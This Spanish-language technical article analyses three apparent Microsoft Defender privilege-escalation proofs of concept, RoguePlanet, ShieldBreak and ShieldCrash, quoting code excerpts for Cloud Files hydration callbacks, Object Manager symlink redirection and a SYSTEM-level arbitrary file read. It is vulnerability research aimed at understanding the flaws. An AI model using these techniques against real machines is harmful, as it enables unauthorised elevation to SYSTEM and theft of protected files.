RoguePlanet, ShieldBreak y ShieldCrash: cuando Microsoft Defender se convierte en la palanca para elevar privilegios

El punto de partida fue RoguePlanet, CVE-2026-50656, una vulnerabilidad de elevación de privilegios en Microsoft Malware Protection Engine. Microsoft corrigió el problema con la versión 1.1.26060.3008 del motor, publicada el 30 de junio de 2026. La propia documentación de Microsoft identifica esa actualización como la corrección de CVE-2026-50656.

La PoC pública de RoguePlanet dejaba bastante claro el impacto: un usuario local sin privilegios podía llegar a obtener una shell SYSTEM. El propio autor describía el bug como una condición de carrera y advertía de que su fiabilidad dependía de la máquina. El código puede consultarse en MSNightmare/RoguePlanet y existe además una implementación independiente de análisis de CVE-2026-50656 en 0xBlackash/CVE-2026-50656.

La importancia de RoguePlanet no está únicamente en el bug concreto. Está en el modelo de ataque. Defender ejecuta código con privilegios elevados y procesa continuamente ficheros que el usuario puede crear o modificar. Eso significa que cualquier operación aparentemente inocua de comprobación, apertura, resolución o limpieza puede convertirse en una primitiva de elevación si existe una ventana en la que el atacante consiga cambiar la identidad real del objeto que Defender cree estar procesando.

En términos simplificados, el problema de fondo se parece a esto:

// Conceptualmente:
HANDLE h = OpenFile(attacker_controlled_path);

// Defender valida el objeto al que apunta el path...
Validate(h);

// ...pero existe una ventana temporal en la que
// el atacante puede modificar la resolución del path.

// Una operación posterior realizada con SYSTEM
// termina actuando sobre un objeto distinto.
PrivilegedOperation(h);

No es necesario que el atacante obtenga directamente el token de SYSTEM. Basta con conseguir que una operación realizada por SYSTEM termine apuntando a un objeto controlado o elegido por el atacante. Es la clásica combinación de resolución de nombres, condiciones de carrera y privilegios del confused deputy, aplicada a un motor antivirus.

Microsoft cerró esa vía con el motor 1.1.26060.3008, pero el parche no eliminó el interés de la superficie de ataque. De hecho, poco después apareció ShieldBreak, CVE-2026-69414, y aquí la historia se vuelve bastante más interesante.

ShieldBreak no es simplemente una variante de RoguePlanet. La implementación pública es un PoC de unas 1.400 líneas y mezcla varias interfaces internas y subsistemas de Windows: MpClient.dll, las APIs del Malware Protection Engine, Cloud Files, CLFS, Object Manager y Windows Error Reporting. El código incluye explícitamente cfapi.h, taskschd.h y winternl.h, además de resolver dinámicamente funciones internas del motor de Defender.

Por ejemplo, la PoC obtiene dinámicamente las funciones necesarias para iniciar un análisis y posteriormente acceder al flujo de detección y remediación:

_MpManagerOpen = GetProcAddress(hm, "MpManagerOpen");
_MpScanStart   = GetProcAddress(hm, "MpScanStart");
_MpScanResult  = GetProcAddress(hm, "MpScanResult");
_MpThreatOpen  = GetProcAddress(hm, "MpThreatOpen");
_MpThreatEnumerate = GetProcAddress(hm, "MpThreatEnumerate");
_MpCleanOpen   = GetProcAddress(hm, "MpCleanOpen");
_MpCleanStart  = GetProcAddress(hm, "MpCleanStart");

Y posteriormente inicia un análisis sobre un recurso determinado:

MPRESOURCE_INFO scaninfo = { 0 };
scaninfo.Scheme = (wchar_t*)L"file";
scaninfo.Path = scan_target;

MPSCAN_RESOURCES scanrsrc = { 0 };
scanrsrc.dwResourceCount = 1;
scanrsrc.pResourceList = &scaninfo;

_MpScanStart(
    hbinding,
    MPSCAN_TYPE_RESOURCE,
    0x60004002,
    &scanrsrc,
    NULL,
    &scanctx
);

Esto es importante porque la PoC no intenta simplemente ejecutar código dentro de Defender. Utiliza el propio flujo legítimo de análisis como mecanismo para introducir al atacante en una operación privilegiada.

Una de las piezas más interesantes es Cloud Files. Windows proporciona mediante cfapi una infraestructura para que proveedores de almacenamiento implementen archivos placeholder y operaciones de hidratación bajo demanda. Cuando Defender inspecciona uno de esos objetos puede provocar una petición de datos al proveedor correspondiente. La PoC registra un callback de Cloud Files y responde a determinadas solicitudes con contenido que forma parte de sus propios recursos embebidos.

El patrón aparece directamente en el código:

void CALLBACK CLBK(
    CONST CF_CALLBACK_INFO* CallbackInfo,
    CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
    LARGE_INTEGER offset =
        CallbackParameters->FetchData.RequiredFileOffset;

    LARGE_INTEGER length =
        CallbackParameters->FetchData.RequiredLength;

    // ...
    // CF_OPERATION_PARAMETERS
    // TransferData.Buffer = contenido controlado
}

Es decir, el atacante no necesita que Defender abra directamente una DLL que él pueda modificar. Puede influir en el contenido que recibe Defender durante una operación de hidratación. Ese cambio de perspectiva es precisamente lo interesante de ShieldBreak: la primitiva no está en una función aislada, sino en la interacción entre un mecanismo de almacenamiento virtualizado y un consumidor privilegiado.

La segunda pieza importante es Object Manager. ShieldBreak utiliza directamente APIs nativas como NtCreateSymbolicLinkObject y NtCreateDirectoryObjectEx, obtenidas desde ntdll.dll. La propia PoC contiene wrappers alrededor de estas funciones:

_NtCreateSymbolicLinkObject =
    GetProcAddress(
        ntdllhm,
        "NtCreateSymbolicLinkObject"
    );

_NtCreateDirectoryObjectEx =
    GetProcAddress(
        ntdllhm,
        "NtCreateDirectoryObjectEx"
    );

y construye objetos simbólicos mediante OBJECT_ATTRIBUTES y UNICODE_STRING.

La razón de utilizar Object Manager en lugar de limitarse a symlinks del filesystem es que el exploit necesita manipular cómo determinados nombres son resueltos dentro del contexto en el que trabaja Defender. Es una capa bastante más baja que el clásico abuso de junctions o symbolic links de NTFS y permite construir una cadena en la que el nombre que Defender cree estar utilizando y el objeto que finalmente resuelve no son necesariamente equivalentes.

A partir de ahí entra CLFS. La PoC utiliza actividad del Common Log File System como mecanismo de sincronización para conseguir controlar el momento exacto en el que determinadas operaciones del flujo de Defender se producen. No estamos por tanto ante una única carrera sencilla del estilo check -> replace -> use; la explotación coordina varios subsistemas de Windows para crear una ventana suficientemente determinista.

Y aquí aparece la parte que convierte ShieldBreak en algo especialmente interesante desde el punto de vista de un investigador de vulnerabilidades: el objetivo final no es ejecutar código dentro de MsMpEng.exe. El objetivo es provocar una operación legítima de remediación que termine escribiendo bajo SYSTEM.

La PoC incorpora incluso recursos binarios dentro del propio ejecutable. El resource.h del proyecto define recursos para un ZIP, una DLL y un fichero WER:

#define IDR_ZIP1 101
#define IDR_DLL1 102
#define IDR_WER1 103

El código carga esos recursos con FindResource, LoadResource y LockResource, lo que permite que el exploit transporte los artefactos necesarios dentro del propio binario.

La cadena completa acaba consiguiendo que Defender, ejecutándose con SYSTEM, participe en la creación del artefacto que el atacante necesita. En las pruebas públicas aparece incluso phoneinfo.dll dentro de System32, y posteriormente el flujo de Windows Error Reporting permite utilizar ese artefacto dentro de una ejecución privilegiada. Es una forma especialmente elegante de convertir una operación de seguridad en una primitiva de escritura.

Aquí está la diferencia fundamental respecto a RoguePlanet. En RoguePlanet el atacante explotaba una carrera relacionada con la resolución del objeto. En ShieldBreak el atacante construye una cadena mucho más compleja en la que Cloud Files proporciona control sobre el contenido, CLFS proporciona sincronización y Object Manager proporciona control sobre la resolución de objetos, mientras que Defender aporta el privilegio necesario para completar la operación. El exploit no “rompe” SYSTEM; hace que SYSTEM trabaje para él.

Microsoft asignó CVE-2026-69414 a ShieldBreak y lo clasificó como una vulnerabilidad de elevación de privilegios en Microsoft Malware Protection Engine. La base de datos de GitHub recoge expresamente que Microsoft estaba trabajando en una actualización para solucionar el problema. La PoC original puede consultarse en MSNightmare/ShieldBreak y existe también una variante publicada en 1neptune/ShieldBreak.

Y entonces llega ShieldCrash.

El 8 de septiembre aparece MSNightmare/ShieldCrash y resulta bastante más interesante de lo que su README podría sugerir inicialmente. Microsoft corrigió varios de los elementos utilizados por ShieldBreak, pero dejó una ruta en la que, bajo determinadas condiciones, todavía es posible reproducir la primitiva original. La diferencia es que esta vez el autor no necesita llegar hasta una escritura privilegiada o una ejecución de código: la PoC demuestra una lectura arbitraria de archivos como SYSTEM. El propio README sigue describiéndola como un skeleton PoC y deja abierta la posibilidad de convertirla posteriormente en una elevación completa.

Lo interesante es que el código confirma que no estamos ante una PoC conceptual. ShieldCrash.cpp tiene alrededor de 1.470 líneas y conserva prácticamente todos los ingredientes que hicieron posible ShieldBreak: cfapi.h, winternl.h, acceso a las APIs internas de Malware Protection Engine, Cloud Files, Object Manager, oplocks y el mecanismo de hidratación. Incluso incorpora Warden.dll y eicar_com.zip como recursos del proyecto.

La primera diferencia importante aparece ya en la interfaz del programa. ShieldCrash recibe como argumento el fichero que quiere leer:

if (argc < 2)
{
    printf("Usage : %ws <path_to_leak>n", argv[0]);
    return 1;
}

UNICODE_STRING symlinkftarget = { 0 };
_RtlDosPathNameToNtPathName_U_WithStatus(
    argv[1],
    &symlinkftarget,
    NULL,
    NULL
);

Es una señal bastante clara de cuál es la primitiva que está intentando demostrar: no existe aquí un payload de ejecución como objetivo final, sino un path_to_leak que acaba convertido a una representación NT y utilizado posteriormente en la cadena de redirección.

A partir de ahí ShieldCrash vuelve a construir un entorno Cloud Files controlado por el proceso atacante. Crea un directorio C:ShieldCrash_<GUID>, le asigna ACLs que permiten acceso general y lo registra como un sync root. El código configura explícitamente una política de hidratación parcial y registra un callback CF_CALLBACK_TYPE_FETCH_DATA:

policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.Hydration.Modifier =
    CF_HYDRATION_POLICY_MODIFIER_AUTO_DEHYDRATION_ALLOWED |
    CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;

CfRegisterSyncRoot(
    workdir.c_str(),
    &reg,
    &policies,
    CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT
);

CF_CALLBACK_REGISTRATION table[2];
table[0] = { CF_CALLBACK_TYPE_FETCH_DATA, CLBK };
table[1] = CF_CALLBACK_REGISTRATION_END;

CfConnectSyncRoot(
    workdir.c_str(),
    table,
    &attemptn,
    CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH |
    CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO,
    &key
);

La pieza crítica vuelve a ser CLBK. Cuando Cloud Files solicita datos para hidratar el placeholder, la PoC no recupera el contenido de un backend remoto: devuelve directamente recursos embebidos en el ejecutable. En la primera petición proporciona eicar_com.zip y posteriormente cambia a Warden.dll:

if (*RNA == 1) {
    opParams.TransferData.Buffer = pResourceData_zip;
    opParams.TransferData.Length.QuadPart = dwSize_zip;
    *RNA = 2;
}
else {
    opParams.TransferData.Buffer = pResourceData_dll;
    opParams.TransferData.Length.QuadPart = dwSize_dll;
}

opParams.TransferData.CompletionStatus = STATUS_SUCCESS;

opInfo.Type = CF_OPERATION_TYPE_TRANSFER_DATA;

CfExecute(&opInfo, &opParams);

El detalle importante no es el contenido concreto de esos recursos, sino que el proceso atacante controla la respuesta de una operación de hidratación. Cloud Files se convierte otra vez en una frontera de confianza: un consumidor privilegiado cree estar trabajando con un fichero determinado, pero el contenido que obtiene durante la hidratación procede de un callback controlado por el atacante.

ShieldCrash construye además dos directorios dentro de BaseNamedObjectsRestricted: WD_TARGET_<GUID> y WD_SHADOW_<GUID>. Dentro de este último crea un enlace WD_SCAN que inicialmente apunta a una ruta UNC sobre el recurso administrativo C$:

std::wstring shlnktarget =
    L"\??\UNC\localhost\C$\ShieldCrash_" +
    std::wstring(mainguid);

ObjectSymlinkMgr* shlnk =
    new ObjectSymlinkMgr(
        (wchar_t*)shlnkpath.c_str(),
        (wchar_t*)shlnktarget.c_str(),
        shadowdir->GetHandle());

Y crea una segunda variante del enlace bajo el directorio objetivo, esta vez con un destino que pasa por CLFS:

std::wstring mnlnktarget =
    L"\CLFS\??\UNC\localhost\C$\ShieldCrash_" +
    std::wstring(mainguid);

ObjectSymlinkMgr* mnlnk =
    new ObjectSymlinkMgr(
        (wchar_t*)shlnkpath.c_str(),
        (wchar_t*)mnlnktarget.c_str(),
        targetdir->GetHandle());

El resultado es que la ruta que Defender recibe como objetivo de análisis no es una ruta convencional. La PoC utiliza globalroot para acceder al namespace de Object Manager:

std::wstring scan_path =
    L"\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_" +
    std::wstring(mainguid) +
    L"\WD_SCAN\BERN";

Ese WD_SCAN es precisamente el punto donde ShieldCrash vuelve a jugar con la diferencia entre nombre lógico y objeto real. Defender recibe una referencia que parece formar parte de su propio namespace de objetos, mientras que la resolución final puede terminar atravesando el enlace construido por el atacante. La técnica recuerda directamente a ShieldBreak porque la primitiva sigue siendo una manipulación de la identidad del objeto que Defender cree estar procesando.

Después viene una de las partes más interesantes: la PoC primero provoca que Cloud Files proporcione el contenido del placeholder y, a continuación, desencadena el análisis de Defender. Abre el fichero mediante CfOpenFileWithOplock y llama a CfHydratePlaceholder:

HRESULT hres2 =
    CfOpenFileWithOplock(
        malfilepath.c_str(),
        CF_OPEN_FILE_FLAG_FOREGROUND,
        &hsp);

LARGE_INTEGER li2 = { 0 };
li2.QuadPart = dwSize_zip;

hres2 = CfHydratePlaceholder(
    hsp,
    { 0 },
    li2,
    CF_HYDRATE_FLAG_NONE,
    NULL);

El uso del oplock aquí es significativo porque permite sincronizar el comportamiento del objeto Cloud Files con el resto de la cadena. Inmediatamente después la PoC obtiene un CF_TRANSFER_KEY y lanza el análisis de Defender en otro hilo:

CF_TRANSFER_KEY cftranskey = { 0 };
CfGetTransferKey(hzip, &cftranskey);

HANDLE hthread =
    CreateThread(
        NULL,
        NULL,
        WDStartScan,
        NULL,
        NULL,
        &tid);

Mientras tanto, el proceso monitoriza cambios en el filesystem mediante ReadDirectoryChangesW. No está esperando simplemente a que el antivirus termine; está esperando acontecimientos concretos producidos durante el procesamiento para saber cuándo puede modificar de nuevo la cadena de resolución.

Y aquí aparece una de las diferencias más interesantes respecto a la primera versión de ShieldBreak. Cuando detecta el fichero temporal creado durante el procesamiento, elimina el enlace anterior y crea otro apuntando a una segunda ubicación:

mnlnktarget =
    L"\??\UNC\localhost\C$\ShieldCrash_" +
    std::wstring(mainguid) +
    L"_2";

shlnk = new ObjectSymlinkMgr(
    (wchar_t*)shlnkpath.c_str(),
    (wchar_t*)mnlnktarget.c_str(),
    shadowdir->GetHandle());

La carrera ya no consiste simplemente en cambiar un fichero. Lo que se está modificando es el objeto que resuelve una referencia utilizada dentro de la cadena privilegiada de Defender. Además, la PoC crea un segundo directorio y espera nuevamente a eventos generados durante el procesamiento de CLFS.

Finalmente llega la parte que permite convertir toda esta maquinaria en la primitiva declarada por ShieldCrash. El argumento original del programa, es decir, el fichero que queremos leer, termina utilizado como destino de un symbolic link dentro de BaseNamedObjectsRestricted:

auto shlnk2 =
    new ObjectSymlinkMgr(
        (wchar_t*)L"\BaseNamedObjects\Restricted\BERN:stream",
        symlinkftarget.Buffer,
        NULL);

Aquí está probablemente el punto conceptual más importante de ShieldCrash. symlinkftarget procede directamente del primer argumento de la PoC, mientras que el objeto BERN:stream se encuentra dentro del namespace utilizado durante la cadena de procesamiento. Si el flujo privilegiado de Defender termina abriendo ese objeto bajo SYSTEM, la resolución acaba apuntando al fichero seleccionado originalmente por el atacante. La primitiva resultante es, por tanto, una lectura privilegiada por delegación, no una lectura que el proceso atacante pueda realizar directamente.

La PoC termina recuperando el contenido mediante una segunda operación de mapeo. Abre el fichero resultante, obtiene su tamaño y crea dos secciones: una de lectura sobre el objeto obtenido y otra de lectura/escritura sobre un fichero creado por la PoC:

HANDLE hnewsec =
    CreateFileMapping(
        hnewfile3,
        NULL,
        PAGE_READWRITE,
        lif.HighPart,
        lif.LowPart,
        NULL);

HANDLE holdsec =
    CreateFileMapping(
        htempmv,
        NULL,
        PAGE_READONLY,
        lif.HighPart,
        lif.LowPart,
        NULL);

Después mapea ambas secciones y copia el contenido:

void* buffog =
    MapViewOfFile(
        holdsec,
        FILE_MAP_READ,
        0, 0,
        lif.QuadPart);

void* bufftarget =
    MapViewOfFile(
        hnewsec,
        FILE_MAP_READ | FILE_MAP_WRITE,
        0, 0,
        lif.QuadPart);

memmove(
    bufftarget,
    buffog,
    lif.QuadPart);

FlushViewOfFile(
    bufftarget,
    lif.QuadPart);

Es una forma bastante limpia de demostrar que la operación ha cruzado la frontera de privilegios: el atacante proporciona el path, Defender participa en la resolución privilegiada del objeto y el resultado acaba disponible para el proceso que ejecuta la PoC. El código no necesita todavía convertir esa lectura en una escritura arbitraria ni en ejecución de código. La lectura privilegiada ya demuestra que la corrección aplicada después de ShieldBreak no ha eliminado completamente la primitiva subyacente.

Por eso ShieldCrash merece tratarse como algo más que un “ShieldBreak 2”. El propio autor afirma que Microsoft corrigió varias partes del exploit original pero dejó un punto donde todavía puede reutilizarse la cadena. Y el código proporciona indicios bastante concretos de dónde está buscando: vuelve a registrar un proveedor Cloud Files, crea placeholders, utiliza hydration y oplocks, construye namespaces restringidos de Object Manager, manipula WD_SCAN, coordina los cambios con ReadDirectoryChangesW y finalmente introduce el path arbitrario suministrado por el atacante en un symbolic link que será resuelto dentro del flujo privilegiado.

Todavía hay que ser prudentes con lo que podemos concluir. El repositorio tiene código real y permite estudiar la primitiva, pero el propio investigador lo define como un skeleton PoC y no publica todavía una cadena completa de SYSTEM. No sabemos, por tanto, si convertir esa lectura arbitraria en una elevación fiable resulta trivial, ni si la primitiva sobrevivirá a futuras actualizaciones. Lo que sí demuestra ya ShieldCrash es algo suficientemente incómodo: después de parchear ShieldBreak, el mismo modelo de confianza de Defender continúa ofreciendo una ruta en la que un usuario de baja integridad puede influir sobre qué objeto termina procesando un componente privilegiado.

Y esa es probablemente la parte más interesante de toda la saga. Microsoft puede corregir el punto exacto utilizado por ShieldBreak, pero mientras Defender siga aceptando referencias provenientes de subsistemas tan complejos como Cloud Files, CLFS y Object Manager, el problema no desaparece necesariamente; simplemente cambia de sitio. ShieldCrash no necesita todavía ser una RCE para resultar relevante: una lectura arbitraria como SYSTEM demuestra que la frontera entre “el objeto que el usuario proporciona” y “el objeto que SYSTEM termina procesando” todavía puede romperse.

Conclusiones

La cronología es bastante reveladora. Microsoft publicó el fix de RoguePlanet con Defender Engine 1.1.26060.3008 el 30 de junio. En agosto apareció ShieldBreak y Microsoft le asignó CVE-2026-69414. Finalmente, Microsoft publicó el motor 1.1.26080.3 el 1 de septiembre de 2026, y las notas oficiales identifican esa versión junto con la plataforma 4.18.26080.3. Una semana después aparece ShieldCrash afirmando precisamente que el parche de ShieldBreak dejó una superficie residual.

Esto es probablemente lo más interesante de toda la historia. No estamos viendo simplemente tres CVE consecutivos en Defender; estamos viendo una especie de patch diffing conceptual realizado sobre una superficie extremadamente compleja. RoguePlanet demuestra que el modelo de confianza puede romperse mediante una condición de carrera. Microsoft corrige esa implementación. ShieldBreak cambia completamente de primitiva y demuestra que todavía existe una ruta para convertir operaciones privilegiadas de Defender en una primitiva de escritura. Microsoft vuelve a parchear. ShieldCrash aparece inmediatamente después buscando aquello que quedó fuera del parche.

Desde el punto de vista de un atacante local, Defender resulta especialmente atractivo porque ofrece exactamente lo que una vulnerabilidad de EoP necesita: privilegios muy altos, una enorme superficie de entrada y operaciones sobre objetos que un usuario normal no podría modificar directamente. El motor tiene que abrir archivos, seguir referencias, inspeccionar contenido, interactuar con almacenamiento local y remoto, descargar componentes, realizar remediaciones y mantener estado. Cada una de esas operaciones introduce fronteras de confianza.

Y precisamente por eso el patrón que dejan RoguePlanet y ShieldBreak es más interesante que cualquiera de las técnicas individuales utilizadas por las PoC. La pregunta no es “¿puedo conseguir que Defender ejecute mi código?”, sino “¿puedo conseguir que Defender ejecute correctamente una operación legítima cuyo resultado, desde mi perspectiva, equivale a una primitiva privilegiada?”.

Ese cambio de mentalidad es importante también para analizar otros productos de seguridad. Antivirus, EDR, DLP, backup agents, indexadores, software de gestión y cualquier servicio que ejecute como SYSTEM y procese datos controlados por usuarios forman una categoría especialmente atractiva para EoP. Cuanto más complejo sea el pipeline, más difícil resulta garantizar que la identidad del objeto validado al principio de una operación coincide con la identidad del objeto utilizado al final.

En ShieldBreak se ve de forma casi didáctica: el atacante no necesita tener permisos para escribir en System32; necesita encontrar una cadena en la que un componente que sí los tiene termine haciendo esa escritura. La primitiva de seguridad se convierte entonces en la primitiva de explotación.

Por eso la evolución RoguePlanet → ShieldBreak → ShieldCrash merece seguirse como una única historia. RoguePlanet demuestra que Defender puede convertirse en un confused deputy explotable. ShieldBreak demuestra que el problema no desaparece simplemente corrigiendo la condición de carrera original y que existen caminos mucho más profundos a través de Cloud Files, CLFS y Object Manager. ShieldCrash, todavía mucho más preliminar, plantea la posibilidad de que incluso después de cerrar esa segunda cadena permanezcan operaciones privilegiadas reutilizables.

La conclusión para un atacante local es bastante incómoda para Microsoft: no necesitas atacar directamente el mecanismo que protege SYSTEM si puedes atacar el mecanismo que SYSTEM utiliza para protegerte. Y para un investigador de Windows internals, quizá esa sea precisamente la parte más interesante de toda esta saga.